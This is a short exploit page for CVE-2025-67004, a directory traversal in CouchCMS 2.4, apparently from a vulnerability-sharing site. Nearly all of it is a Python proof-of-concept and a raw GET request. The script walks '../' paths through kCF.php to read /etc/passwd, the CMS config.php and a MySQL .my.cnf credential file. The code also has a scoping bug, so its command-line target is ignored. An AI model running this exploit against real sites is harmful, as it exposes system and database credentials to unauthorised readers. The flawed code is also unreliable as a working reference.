CVE-2025-67004 CouchCMS 2.4 目录遍历导致信息泄露漏洞

# CVE-2025-67004 PoC - CouchCMS Directory Traversal # Target: CouchCMS <= 2.4 # Vulnerability: Information Disclosure via Path Traversal import requests import sys TARGET_URL = "http://target-site.com/couchcms/kCF.php" def test_file_read(filepath): """Test file read via directory traversal""" # Construct traversal path traversal = "../" * 5 # Adjust depth as needed params = { "file": traversal + filepath } try: response = requests.get(TARGET_URL, params=params, timeout=10) if response.status_code == 200 and len(response.content) > 0: return response.text except Exception as e: print(f"Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python poc.py <target_url>") sys.exit(1) TARGET_URL = sys.argv[1] # Test files to read test_files = [ "etc/passwd", "var/www/html/couchcms/config.php", "etc/hosts", "home/www/.my.cnf" ] for file in test_files: print(f"\n[*] Attempting to read: {file}") content = test_file_read(file) if content: print(f"[+] Success! Content length: {len(content)}") print(content[:500]) # Print first 500 chars if __name__ == "__main__": main() # Alternative PoC - HTTP Request: # GET /couchcms/kCF.php?file=../../../../etc/passwd HTTP/1.1 # Host: target-site.com